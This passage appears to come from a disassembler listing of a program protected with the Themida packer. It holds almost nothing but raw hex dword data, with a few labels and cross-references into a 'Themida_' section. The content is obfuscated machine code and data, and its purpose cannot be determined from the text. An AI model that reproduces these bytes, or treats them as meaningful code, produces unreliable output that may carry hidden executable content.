0C9953BFDh, 9197B91Dh, 0F2DE0491h dd 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h dd 25862DA0h, 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h dd 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h, 66C6669Eh dd 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h, 0E458A15h, 22B769C2h dd 62765826h, 78C22FDh, 0A2458AD5h, 25AB54D1h, 0A2459391h dd 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h dd 91EF4B93h, 577F0391h, 5E380319h, 0D6112330h, 0A24D48DCh dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h dd 229D00B9h, 0E1D4A7B2h, 8860085h, 6F8222DCh, 73BA8C0Eh dd 0A7FEF8E1h, 0B9005C9Fh, 0A0855757h, 0DF6E20D6h, 0D629215Dh dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h dd 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 87D77515h, 2652BC7Dh dd 28C82045h, 2C4FED87h, 2BF55BEAh, 86949BFBh, 622E8531h dd 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh dd 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h dd 0D5FE0451h, 0B664E787h, 868C2357h, 2FEF4917h, 31117EDBh dd 0C4947513h, 4CBD28E9h, 88600BEh, 0A358D57Ah, 29247668h dd 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh dd 0A2457650h, 80F8A851h, 832818EAh, 0E2DFAE45h, 88558B9h dd 6F8232DCh, 71BA8C0Eh, 0E3941037h, 63CF2173h, 262983FBh dd 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h dd 26292359h, 0A2B9CFD2h, 8654A851h, 0CFD775BFh, 0A152BC70h dd 637726DDh, 0FCCE25FBh, 5D439150h, 0AAECCE82h, 28EEECE4h dd 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h dd 0B0D90337h, 0A45ECFC3h, 92327BAEh, 9234B95h, 1FE04FDh dd 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h dd 0B9005C8Fh, 9A875757h, 0E0320A0h, 0FCCE25FBh, 5D439150h dd 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45EEDDFh dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0D5CE2559h, 0F1439177h dd 498232DCh, 71BA8C0Eh, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh dd 38C88260h, 2C4FCB5Eh, 74DF0746h, 0D552B332h, 5E0003C6h dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0B926918Fh, 0B0D9FB57h dd 0A45EE9C3h, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h dd 497332DCh, 2F168C0Eh, 31377ECBh, 2B967513h, 2ABD5414h dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 24E9h, 4272AA00h dd 15h, 7 dup(0) dd 0D20E900h, 0BC680000h, 0E9061B6Ah, 0FFF91553h, 1B6B9C68h dd 1549E906h, 5868FFF9h, 0E9061B6Ch, 0FFF9153Fh, 1B6CF568h dd 1535E906h, 5868FFF9h, 0E9061B70h, 0FFF9152Bh, 1B733668h dd 1521E906h, 1D68FFF9h, 0E9061B74h, 0FFF91517h, 0ACFEC11Bh dd 67B904CFh, 2173488Ah, 0D6289144h, 8DDFDEF9h, 8B4C6454h dd 0CE03E032h, 1CBC99EBh, 627451A3h, 73FB0759h, 0D51876Dh dd 39A09B58h, 4248C512h, 51F1E85Ch, 68B04870h, 507F3A9Bh dd 0C0FFD9E6h, 82A5A178h, 0A88A1884h, 1F8D6979h, 61BD80B0h dd 0CA190048h, 468FE62Eh, 7EC65E1Bh, 0EB9726B1h, 585E6493h dd 57E6CE29h, 0A5EB97BFh, 5806CEC3h, 0F5EEACCEh, 0F8D90670h dd 2F8Eh, 4A17A500h, 0F6002F8Ch, 8A90D888h, 57E50A8Fh dd 804D95BDh, 0CC366556h, 60AA486h, 0CD9AF58h, 6FC1F0C9h dd 0CEADB8D3h, 751F8D9h, 68000000h, 87B11h, 0C4126800h dd 1AE7AFF7h, 0FF5703B8h, 0F1E79379h, 507FA751h, 0BEFDD9E6h dd 0BF22906Ch, 0DAE16B00h, 86CE66F4h, 0E60CED80h, 0C202D957h dd 0B7091FBCh, 0BCE46897h, 55E8CA10h, 0D1F35807h, 7F4B1AB1h dd 2AB3F8D8h, 0CA000000h, 0B1F9A513h, 0E502E8ABh, 0E28EB657h dd 260C12DAh, 3A580603h, 0BD9FE312h, 0C8580602h, 76EFE4A6h dd 88F8D9D6h, 0C8h, 47C4129Fh, 0F1E85B41h, 46926F51h, 9D49E179h dd 0C0C64790h, 51F1E7DAh, 822EC6EEh, 125A6175h, 822E8D45h dd 8491FB2Ah, 1176952h, 51F1ED3Fh, 17695284h, 686A9C3Ah dd 30FBB53h, 0D9A1E995h, 3B41CA0Ch, 51F1ED55h, 0FDA94169h dd 0F73276A5h, 0A557E506h, 0E14F2B7Dh, 0A928F53Dh, 0AC0FC310h dd 4571777Dh, 0D55DFADEh, 0E18E65ADh, 2EA64206h, 5CDD302h dd 0F7616A2Eh, 3B6A014Ah, 0C416A730h, 0EFCDF0E7h, 38957DE4h dd 68BFCDB7h, 0CE00000Ah, 825FB10Eh, 3D1A6C51h, 0F7D42695h dd 0AC89DBDEh, 740922Bh, 0E5D8FFB1h, 9E1BB693h, 56696F4Ch dd 0CAF2704h, 2026AEBAh, 580D523Ah, 12EC534Eh, 0C9A6F8C5h dd 0A35CAE0Dh, 0B1F9A513h, 0E502E8ABh, 0E28EB657h, 602BA9Ch dd 0E7A3C558h, 0D9D679ECh, 0C285F8h, 129C0000h, 434BF7C4h dd 0E78F757Bh, 7BA351F1h, 0E817A42Eh, 0D13FADDh, 51F1E827h dd 0A4C0543Bh, 57C249A1h, 737B27BFh, 0E28E2BA6h, 55175B8Ah dd 9A51F20Eh, 502D7F3Ch, 20ED3586h, 70DA09B2h, 24AF664h dd 666CA335h, 51F20E80h, 0A5D46C94h, 275E999Fh, 250C57E5h dd 0A22F70CCh, 0BC136B17h, 0A1392DF9h, 5905734Fh, 557C4911h dd 3160B864h, 0FAC8D2EDh, 0D018405Dh, 97E9D403h, 0C2A01DBAh dd 38959A1Bh, 889CAA94h, 0AE000009h, 623F912Eh, 1DFA4C71h dd 0D7B406B5h, 8C69BBFEh, 0E720724Bh, 0C5F8DFD1h, 7E3B9673h dd 36894F2Ch, 0ECCF07E4h, 68E9Ah, 580D531Ah, 12CC332Eh dd 0C9A6F8C5h, 0A35CAE0Dh, 0AFF7C412h, 0E7FBE1E7h, 370F51F1h dd 0F1E84B31h, 9F375F51h, 0E86B5157h, 577F51F1h, 25B1BE28h dd 60774E96h, 0D63C8152h, 2F4D5D8Ch, 23CB39C8h, 128AD5DBh dd 305857E5h, 0E2A2798Fh, 0E3E53F4Fh, 7C80C3Bh, 4F01C87Bh dd 98465F78h, 0FA299489h, 96DE82F0h, 0BE76DD90h, 0B7638B07h dd 49913DABh, 0D3F77643h, 0D820480Dh, 0C6F5C80Bh, 23E3F3C0h dd 1E7008B3h, 48269541h, 88BB4C9Fh, 0CC2C3A24h, 6A000008h dd 1EFB4D72h, 0D9B608B5h, 9370C2F9h, 48257742h, 0A3DC2E8Fh dd 813C9B15h, 3A7F522Fh, 0F2CD0BE8h, 0A813C3A0h, 0BCC24A56h dd 580D53D6h, 1788EFEAh, 1308D4Ah, 93DBE0F6h, 0A0B69BCh dd 71A0E700h, 0E18DFB07h, 6B1C9399h, 2A5257E6h, 884D1AE2h dd 0E1F70231h, 29AF8CDEh, 0BEA4EA96h, 12580669h, 58059A30h dd 509848B6h, 0C16D5083h, 2E343A69h, 5DF99F43h, 757D2951h dd 0DAC4739Eh, 0BC14C0FDh, 0EAB30665h, 1A59FEE4h, 52EA125Eh dd 0FDBE1823h, 97E9D21Fh, 0D1B0538h, 82Fh, 98EAD507h, 53A518BBh dd 0D5F5C76h, 0C214A530h, 79CBF2E5h, 9F387840h, 0E2EFCC1Eh dd 30A885D7h, 76603D8Fh, 5FE7F345h, 0D547359h, 258C8758h dd 0B1F9A513h, 0E50CC0ABh, 0FAA6CE57h, 85D7E6EDh, 0C4F5E0ADh dd 2CEBB56Dh, 2FAE8Fh, 33DFDEF5h, 0C70FBF27h, 66493C1h dd 0B7FF2758h, 27D3E8EAh, 0E136A0CFh, 0EAE9033Fh, 0A5B48BD3h dd 0E16F46C6h, 6E8494C3h, 5806268Ch, 0B2FAAA12h, 62592ACh dd 8ED6FE58h, 25DAC0C6h, 0C6EE5806h, 0E7AF8797h, 625FBE1h dd 9AE70F58h, 7BD37F3Ch, 2B92414Ch, 0A9AF777Fh, 580625C3h dd 0E3D8FAD7h, 1847DF37h, 626EAD4h, 0A0686F58h, 81D98536h dd 0A2303DE9h, 93F76D19h, 239A3DF7h, 0F2871F77h, 0D9FA3250h dd 1EB592E4h, 39D1EEEAh, 2715478Dh, 50F25806h, 0E4D9FA32h dd 0CA07D49Ch, 65EB43EFh, 5806287Fh, 2C3C6B93h, 5583E850h dd 0C28AD26Ah, 1AE63BEBh, 0CFFE8CE2h, 64AA88Bh, 0E28EB658h dd 260C12DAh, 3A58064Bh, 0AF47765Dh, 0AEE13C80h, 0ACCE2A24h dd 0C6935BEEh, 3F25AB10h, 53CC67B0h, 0D590FC2Bh, 29847825h dd 180h, 0F9A51340h, 0C50ABB1h, 573E57E5h, 95A5D6CCh, 4B932B5Ah dd 1163587Eh, 6369A234h, 58068E7Dh, 25D16991h, 4B589BDFh dd 96637BDFh, 76CE7A3Fh, 9F55F547h, 55328437h, 828E3A81h dd 3B186A1Ah, 0D71F9Ah, 21B2445Fh, 4198F09Ch, 2C5B5FCDh dd 0CE3BAC2h, 0C03DDDECh, 4D8994C3h, 77441C6Eh, 5BB35F5Ah dd 4AF6C30Eh, 1EB8C3F2h, 1CE9F19Dh, 92D605B6h, 0AFD5DCDEh dd 0E4183A9Eh, 2D1319F2h, 4151D7BCh, 522F8119h, 7F8B3784h dd 0EB20B217h, 0D7BBFFE5h, 53EB1351h, 876D73BBh, 9B51D7BCh dd 0F8A419BEh, 0D9B608A0h, 0F0CD0AFEh, 38A0AC58h, 0FFFE62C9h dd 9F37CA69h, 6F4C8A57h, 0FF26ACC3h, 11B6B307h, 3E444A79h dd 51D75544h, 19F64870h, 4552FEBDh, 2A7F2B92h, 0A432CA88h dd 557B6167h, 0B28F51D7h, 97EF9B20h, 381567FFh, 0B785E9Eh dd 91DB3749h, 31E3B03Ah, 0B74F60D1h, 0E797FF0Bh, 669B999Fh dd 0A7CF51D7h, 0A85E7855h, 48F48C2Dh, 76229D3Bh, 0A34F6E69h dd 0CE7A3F96h, 1594B69Ah, 45FF9BBFh, 15E22A91h, 0BECEFDBCh dd 1AC6F5E1h, 0AEF6A60Eh, 0D766B6A8h, 68BAE251h, 0C6724D8Bh dd 88D8E7BEh, 4289E6B9h, 3CA10913h, 0FED72495h, 0EDB23BBh dd 0C3C9F8C5h, 16A32EFBh, 9FE3126Ah, 51D74EA9h, 0A78D935Bh dd 0BB51D74Eh, 0B8E06493h, 9F079970h, 28D4E5ECh, 4DC79D0h dd 0E49DADDCh, 9542C412h, 0D7247C28h, 0BC14C0FBh, 88F6D224h dd 0C2C890D8h, 51F1E7DCh, 9399C8F0h, 0E6D3FECBh, 0E89073B7h dd 769E57E5h, 989E662Eh, 5805E8B2h, 7A26993Fh, 5345C22h dd 8FE1DEFAh, 519926B2h, 0C26E4F84h, 19920B5h, 0EE5C68D2h dd 7DF4FA42h, 0B35DF9EAh, 6076438Bh, 0F2C70E5Bh, 55BFEE46h dd 191A2D0Fh, 78E0B75Eh, 60A149AEh, 58C6D0FFh, 439360A8h dd 3D434978h, 640DCC52h, 0CDE307DEh, 0FB58AF02h, 6A7048CCh dd 642E9F84h, 90D87098h, 4CD65B9h, 5DAAF01Ah, 0AA14437Ah dd 0A482399Dh, 32844C57h, 0CC9CAA94h, 6A000004h, 1EFB4D72h dd 0D9B608B5h, 9370C2F9h, 48257742h, 0A3DC2E8Fh, 813C9B15h dd 3A7F522Fh, 0F2CD0BE8h, 0A813C3A0h, 0BCC24A56h, 580D57D6h dd 1388EFEAh, 0E9B1F9A5h, 3C7D5421h, 0F1E7D0B6h, 8DBCE451h dd 0E51B8A49h, 6C184057h, 5FB4326h, 0AD7A5058h, 0C7F2DF2Bh dd 0ECAE002Fh, 7A43905Dh, 0DA86DF4Bh, 0D778F8D9h dd 8F000000h, 0F1E7C7D9h, 0C5ABB151h, 0D951F1E7h, 754019B1h dd 2C085A61h, 0C1C70FBFh, 51F1E7C3h, 7A3C9E75h, 4CF8C30Fh dd 0D0949DF4h, 7790767Ch, 7CA451F2h, 931B5E4h, 8086505Dh dd 65BD6952h, 19B885CDh, 6D9CF4A0h, 0BE14815Dh, 0F277D2B8h dd 71BEE651h, 55AD5960h, 8F9E75BDh, 46735E5Fh, 0E72D04EFh dd 0CC24D0EBh, 0F9FF0534h, 51F2DBFBh, 6B51572Fh, 0FD51F2DCh dd 0F2DC11F7h, 37FD2551h, 0DC73595Fh, 5F8751F2h, 76832FC7h dd 2D095B60h, 45745DC0h, 75468C99h, 41D971C9h, 452B31F9h dd 0C851F2DCh, 9C1AC379h, 2E561CB7h, 0F1F3F9FFh, 3D51F239h dd 0B24A7360h, 79DEC006h, 791B51F1h, 48B724D9h, 3B6B308Ah dd 0F941D994h, 0F23BF1F3h, 0C3153D51h, 0A3E5h, 0A5133C00h dd 0C0ABB1F9h, 0CE57E50Ch, 0E4EDFAA6h, 3DA783D5h, 49434991h dd 7558060Dh, 7A5BA14Dh, 8358060Dh, 0BBAA2161h, 43F8D9C8h dd 74h, 0FDA9135Ah, 0CCEDE8B5h, 0AB91979Dh, 0BF51F1E7h dd 1ECAEFE2h, 75822EC6h, 48155D5Ch, 0DEE42C8Dh, 51F1E7F8h dd 0A5B5E40Ch, 67AF5FC9h, 0F1E82F61h, 6BB3DB51h, 0E8B79DA3h dd 0A3CB51F1h, 8F3B8056h, 589E0837h, 51F12976h, 0C07111B3h dd 0AE23E3F3h, 6F075F0Bh, 323C6BC3h, 0CAD018C8h, 51F22898h dd 2DDCF5C2h, 0F2294127h, 952D5551h, 0CC05E266h, 4A0355EDh dd 4BF7C412h, 0D123983Eh, 8FD787F5h, 0E538F689h, 0BC15E257h dd 0EEC1153Eh, 0F8900D10h, 41C5F44Ch, 45276D19h, 505806D2h dd 0EE776C2Eh, 10F8D903h, 53h, 209B3B08h, 80666C74h, 945806DAh dd 0BEA5D46Ch, 0B1F9A513h, 9B09F1E4h, 7A3976DCh, 0ACB2E179h dd 0E56BE3A6h, 76622F57h, 6E961A49h, 6B9A7CC2h, 0B81F5806h dd 8B4C5905h, 0E26F8632h, 0DB5F034Dh, 1436D86Dh, 0EEACCE95h dd 0D9B970F5h, 0C38EF8h, 12A50000h, 3E4BF7C4h, 886E7499h dd 9C51F1E8h, 2330DC74h, 4F5C08B3h, 15EC3487h, 3454B79Dh dd 7585B4B2h, 0F25E9D5Fh, 0C7F4E251h, 7D3E9875h, 0F1F2C9D1h dd 0B91AF23Ah, 0DF4D5786h, 0C8605D7Ah, 9A25B380h, 474AA643h dd 6D9C3F04h, 0BBE6167h, 244C57E6h, 0D888F6D2h, 0C3078A90h dd 78555DFBh, 5BB35F60h, 29AE7BC3h, 72654294h, 0A1986D4Bh dd 7D673894h, 1EE6Fh, 2B944800h, 0E6D7FCD9h, 0A01BB794h dd 5564714Eh, 0CB12603h, 793781BAh, 300D5F5Eh, 0E9C618A1h dd 0A17ED0EFh, 28348635h, 5AB49AA0h, 0CDC8580Dh, 43C51266h dd 647B2792h, 773AB769h, 0C41BB396h, 2A73C792h, 90E27AB4h dword_5BFF5C dd 469823B3h, 0F9A5138Dh, 2E8ABB1h, 8EB657E5h, 2BA9CE2h ; DATA XREF: Themida_:0054B19Co dd 0A3C55806h, 0D679ECE7h, 0BB85F8D9h, 9C000000h, 32874A17h dd 99D72E86h, 37DB5818h, 0B5212C5Bh, 8A4D5A06h, 1D23EB33h dd 51F29037h, 8AF4234Bh, 0F2958244h, 0AC0FC751h, 62597D5Ah dd 0F6E1AEB6h, 208E98C7h, 75512870h, 0B96634E3h, 28D38807h dd 473AD9D1h, 690C1218h, 0F757E62Fh, 33A17DCFh, 193D438Bh dd 0A95DFBE3h, 5510BEC2h, 378F3B82h, 0DF7547E0h, 0E1794692h dd 0B20BCC99h, 69548360h, 9510848Bh, 97A58F38h, 107h, 0C012AD2Fh dd 7BCDF0E3h, 3587349Eh, 0EA3C7D58h, 0A1F3CA0Dh, 77605068h dd 0BA17F446h, 8D0ADFFh, 4E8865B7h, 870F1B6Dh dword_5C0024 dd 0D5B9B81h, 4DB4AF58h, 0A6F8C512h, 66AE0DC9h, 4F7E3D99h ; DATA XREF: ___:004327ECo dd 0C412863Fh, 7B434BF7h, 0F1E78F75h, 5B61C51h, 133B0159h dd 0BEFDD9E4h, 10C7946Ch, 0DEA105EEh, 0DC7434ECh dword_5C005C dd 8935A3ADh, 5D5E7441h, 242A59B1h, 0EA85921Eh, 81896057h ; DATA XREF: ___:off_432940o dd 551860D3h, 0CDF579A8h, 0F9C21421h, 0AF0CCAA7h, 8145BD03h dd 0F2E64B44h, 0C11421CDh, 12364CF8h, 0A019BC70h, 0ACEE5208h dd 0B607D09Dh, 615A7C87h, 17A4320Fh, 4196636Bh, 93424D7Ch dd 0CF257A26h, 9D35CF02h, 82DA861Eh, 0B0410153h, 9DF5DCD9h dd 1C4BAAB5h, 0A4F6C511h, 2AED0FC7h, 0DAC0C6EDh, 0EE6B6669h dd 899A6FC6h, 0B8C6720Ah, 23h, 3C2228F0h, 506B663Fh, 1712F928h dd 0E863494Fh, 4F7751F1h, 8A61E720h, 2BACB041h, 0DE893B92h dd 1211F827h, 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh dd 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h dd 151868h, 24248900h, 4BE56h, 74010000h, 515E0424h, 0C181E189h dd 4, 8704E983h, 895C240Ch, 0F368243Ch, 8900002Bh, 5D68241Ch dd 8900006Eh, 31BB241Ch, 4309254Ch, 8105EBC1h, 0E14420E3h dd 7EBC12Dh, 0C381DBF7h, 61BEB09h, 545BDF89h, 81241C8Bh dd 4C4h, 81575100h, 47BB242Ch, 81590CD9h, 0D947BBC1h, 84B890Ch dd 241C8B59h, 81E28952h, 4C2h, 4C28100h, 87000000h, 0FF5C2414h dd 835F2434h, 44E904C4h, 8FFFF908h, 174D811Bh, 49B8BF3Eh dd 3061B75h, 0F3E0FFC5h, 8166D5E9h, 0F516F3B3h, 0B737B5E9h dd 3B21204Fh, 7A4652C5h, 0BC70BC70h, 9C7B80DBh, 2A353071h dd 0D64F01A7h, 2030EA1h, 0E8257BF9h, 0EF5E5C17h, 5E72561Eh dd 731094F8h, 0B443FCE0h, 0E8232006h, 12h, 83FCB650h, 44F0FDF4h dd 0F099AD4Ch, 19B938E0h, 0F56090AAh, 0A20318BEh, 0F596175h dd 38Ch, 0C18B6600h, 0D950C181h, 6E90000h, 96000000h, 5EB8BDC7h dd 98B1BBC6h, 0C38137A7h, 0C8589D71h, 66118BF5h, 817A67BEh dd 6A82AEF2h, 3EEA8145h, 0E90C95BDh, 0Bh, 0BA74FB3Bh, 0BE2D0DF6h dd 81FE0244h, 854370EAh, 0D9DF8119h, 896D0748h, 0F0C88111h dd 8172D8E4h, 2B9736E9h, 32C18107h, 0F072B97h, 382h, 0FEB70F00h dd 1EB81h, 850F0000h, 12h, 0E9C2BF0Fh, 2Ch, 99583B8Dh dd 0B437BFF5h, 11E90DBEh, 88000000h, 0F509CA2h, 0ACD17B7Ch dd 4BDDAC07h, 68618B02h, 0FFFF7CE9h, 0B2F0DBFFh, 739B10Dh dd 0FE8h, 0B57AEA00h, 0FB9CBBEAh, 0A35C5CE7h, 76C22E1h dd 1850Fh, 58F50000h, 0A3EDD3BFh, 22C08117h, 68000075h dd 1D16h, 6FC98166h, 0BA665E4Dh, 188B7C6Ah, 7E9h, 0A9F79400h dd 9C793D40h, 0EF12C381h, 0F3814178h, 2488200Fh, 0DE9h dd 3DCCA00h, 41529E27h, 27DB03Dh, 0C381C5BDh, 3503282Eh dd 0A9CBF781h, 66537F0Dh, 8FC88ABAh, 14E900h, 71970000h dd 527555DAh, 4EE7CD66h, 3C17CB31h, 6CFB93D8h, 0E883D10Eh dd 0AE904h, 1CE60000h, 0BEB1F805h, 0C7C806E0h, 0F01EE83h dd 1385h, 0FFC6000h, 0E961C6BFh, 1Fh, 621D7F0Ah, 0AB070137h dd 0E96BF280h, 0FFFFFF72h, 5AB7DE6Dh, 1300772Ch, 81BDA6ADh dd 0E8F73E9Fh, 0Bh, 0AF032449h, 0E0A3CDEAh, 0F0358B5h dd 8B5ADBBFh, 92C281FBh, 66000064h, 0B99EFCBBh, 0 dd 40D78166h, 1134FF3Fh, 0E858FB8Bh, 7, 79CACFE8h, 812EB203h dd 21A1CACBh, 0C0815E7Dh, 33F090CDh, 938EE81h, 0E88160ACh dd 6DB4A525h, 7E9h, 0DF7E0F00h, 0ADC1230Ah, 53DBE881h dd 0A9BB16CBh, 507A071Dh, 0F797BF66h, 0BB0A048Fh, 3F985608h dd 81DA8B66h, 0D134B7E9h, 0B70F602Fh, 0F28B66DEh, 0B3C18161h dd 572FD134h, 0EE9h, 26999B00h, 5BC075B3h, 0A8F78D59h dd 5EA71312h, 9C1CF981h, 850FFFFFh, 0FFFFFF79h, 4134C681h dd 0ECE91366h, 0 dd 37000000h, 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h dd 77F7E3h, 277E600h, 5 dup(0) dd 0FD000000h, 77E7A5h, 2Bh dup(0) dd 6000000h, 2C000000h, 22322E27h, 491611EFh, 88389B69h dd 41DB1566h, 38321566h, 152A04BEh, 0B883A8E5h, 31321372h dd 0C38F966Fh, 1134017Ch, 0DB620C12h, 558AD5EDh, 0AB321562h dd 5285CE3h, 0B2AF9860h, 0BB3403D1h, 0A16A4EB5h, 528F4DBh dd 9F461560h, 558A4636h, 0AB321562h, 5285CE3h, 0A1AF9860h dd 0BB3403D2h, 426A4EB5h, 9C3DCDEDh, 88321565h, 25F9FDE6h dd 39887306h, 9A54469Dh, 0D8534FBFh, 0C51611EDh, 223211A2h dd 9D3D7566h, 88321565h, 0ADF5AA69h, 22321574h, 44B7759Ah dd 51D1F870h, 0B44D9211h, 0EBFF1DB0h, 0ED530464h, 0F09AA8E5h dd 4B32137Dh, 22325EE2h, 0C8B97566h, 0E9C8A269h, 0E7690EBh dd 0A952137Dh, 88B739Eh, 58CD7480h, 4432078Fh, 0ED2FEF66h dd 7EE9AA4Fh, 0A56A4ADCh, 3C487A7Dh, 0AF987B2Ch, 0A7861E3h dd 58CDEC60h, 44321A8Fh, 49EAF66h, 1C387C4Eh, 86E2591Fh dd 7698A6CBh, 386B90A0h, 0E4641372h, 208A470Eh, 0F1CDEDFAh dd 24260FB7h, 0CAB7989Fh, 0E83402E6h, 44349269h, 0AF3D1566h dd 11321566h, 87534F36h, 443212E0h, 23B71A66h, 0E4321566h dd 8FDBC599h, 36321566h, 0A780EDD6h, 94BB6089h, 8E2631CFh dd 44339669h, 0E5CA1566h, 53640E3h, 88321560h, 45B71A66h dd 0DA321566h, 11321A8Fh, 2F1C4C66h, 4CF86916h, 0AD6B6857h dd 5951497Ah, 926B90A0h, 0B1771372h, 505B7C0Eh, 0BBB1AE8h dd 0E8321566h, 4432188Fh, 0A28BF466h, 4B57D672h, 8E98AAD4h dd 0CF3DA6D4h, 22321566h, 5487EA07h, 87340177h, 443213E6h dd 98547566h, 9C535A95h, 9C0906E3h, 0ADB37560h, 48FAD859h dd 11309569h, 0E9521566h, 0BCE2EA07h, 7B390EFh, 0D7CA1372h dd 9C284CE3h, 4ADB5660h, 0FB321566h, 6812641Bh, 736A28BFh dd 0C7202DD5h, 496C7D54h, 0E8CA8901h, 9977A099h, 0C03D1372h dd 2232157Fh, 1132018Fh, 22217266h, 4C447874h, 0CEA4B10Bh dd 378DCB83h, 85BA28EFh, 57B79819h, 2D34015Dh, 113214E7h dd 58CDE966h, 4437FC06h, 3C7A1566h, 0F9088B99h, 88321576h dd 0D13A1BE3h, 8099225h, 0D811877Dh, 50FD536Eh, 0C1BB743Ch dd 24296DF6h, 48B7D39Eh, 0DC34017Ch, 44321E8Fh, 0CA105066h dd 0A5D81169h, 9C09ECC5h, 265A3C0Eh, 2222FC88h, 0E01C1566h dd 1BB5BE9Bh, 666BF37Eh, 2E453D52h, 0A4CD0789h, 8E260423h dd 4420FD06h, 0DC601566h, 0A76F459Ch, 6D1D8E41h, 10157C59h dd 270FE125h, 52E29400h, 5534A47h, 500906E3h, 223DFC60h dd 0DB0B1566h, 0E0A22C5h, 68069360h, 0BA38072Fh, 0E8E2EA6Fh dd 0F0A690EFh, 0CD3D137Dh, 22321577h, 1132198Fh, 45D166h dd 0D3EB5681h, 48230F5Dh, 0F68A7586h, 0E936DEB2h, 5E6B90A0h dd 0DA771372h, 710AD70Eh, 35475BCh, 256845ADh, 3377A099h dd 77521372h, 553D4EDh, 500906E3h, 0F2CDE060h, 89B79C9Eh dd 0E8340E1Eh, 44321C8Fh, 63C85C66h, 8B59473h, 48B29D5Eh dd 0F9B17492h, 242607ABh, 56B71A66h, 87321567h, 443212E9h dd 23BE1A66h, 0E8321566h, 0DF47406h, 42260F3Fh, 2226FC23h dd 28C61566h, 0F33A510Ah, 1B0065BBh, 71E9C626h, 63A2C411h dd 85DB4420h, 8321566h, 424D6227h, 6C1E5D48h, 7EBC98C0h dd 644C930Eh, 2FDB759Ch, 5E321566h, 1F9F7F9Ah, 69814BC9h dd 0C3A10B72h, 0EE53C5D0h, 9C2350D3h, 5CB41A60h, 0CB321566h dd 11321575h, 0FBA72D1Ah, 17E23253h, 0BDF9AC7Ch, 0E97D91FEh dd 507505Dh, 500906E3h, 0AA3D7560h, 11321563h, 703CEDCh dd 87B97339h, 0CBE2EA07h, 1132156Dh, 0AA1A4C5Ah, 8B22B84Bh dd 0ABB0A0E4h, 0A4A89E3h, 0DF4E060h, 42260F3Fh, 0AC3D752Ah dd 11321570h, 8832058Eh, 4C33EB66h, 0B898DEE8h, 9C7C5EDFh dd 34F108C0h, 0C43D4AD1h, 22321566h, 0C1F17D07h, 80DBF540h dd 5C321566h, 2583C690h, 0EE55DAFDh, 9C2350D3h, 45BD1A60h dd 0DE321566h, 2A2190EBh, 74521372h, 544AB00h, 0CBE2EA07h dd 11321576h, 6517B22Fh, 7A448E56h, 9692E1EEh, 106C1887h dd 0F09290EFh, 0C83D137Dh, 2232157Eh, 1132068Fh, 0BB0E3566h dd 7B5FF0B3h, 84D0A8C7h, 0C4746B02h, 43F63E7Ch, 4433228Fh dd 0A7F4E066h, 17260F3Fh, 855AE034h, 0AD8E5F82h, 22321574h dd 4B91AAE7h, 0D563C966h, 6D7D0E2Bh, 103F9859h, 0A4CD977Ch dd 8E26249Bh, 9FB37306h, 0E8B2886Eh, 94BF7468h, 8E262E75h dd 44389569h, 42521566h, 0D4C49407h, 0E9198BCFh, 24E2EA9Eh dd 98F5AC00h, 9853F9ECh, 934A89E3h, 443AFC60h, 0C4B71566h dd 5FBC008Ah, 0DF4D83Ch, 42260F3Fh, 2BDB7534h, 69321566h dd 14550732h, 33E97281h, 52E89400h, 1DB74E0h, 3B321566h dd 8ACA994Eh, 0EACDED35h, 0CE11FDF0h, 0E0287EBFh, 0E27E5F2Eh dd 2232048Fh, 0A19E9966h, 682E4634h, 5F16B4D2h, 2654AEA2h dd 0A4CD8AB5h, 8E26249Bh, 44259269h, 30DB1566h, 57321566h dd 897EED4Ch, 3ADA3E28h, 0DD9E7C84h, 5B39F97Ah, 9BB798D9h dd 2434015Dh, 222B9B69h, 5DB1566h, 1321566h, 9A365642h dd 0A1B901EEh, 25CEF493h, 0AA101274h, 0AC8566C9h, 2232156Bh dd 3DAFBB88h, 245ED4E6h, 6EAB52F6h, 0DD534A27h, 10B71AB6h dd 70321566h, 3C9290EFh, 33DB137Dh, 96321566h, 95DA351Ch dd 6E46FE43h, 314A3C78h, 51438823h, 926B90A0h, 0BD601372h dd 6086FF0Eh, 0E9CA759Bh, 0CD87EA07h, 24340177h, 0DAB84E34h dd 2B79807h, 7034015Dh, 0CDCEC599h, 3611C0E3h, 0F0B37560h dd 9A5A297Bh, 0E4BFBDDEh, 0A7F47463h, 17260F3Fh, 2B5AEC11h dd 0B1C182CEh, 2B03A099h, 9CCA1372h, 9C0906E3h, 43DB7560h dd 0AD321566h, 2EDDFA79h, 0F28A7B55h, 25046215h, 0A53DC599h dd 11321576h, 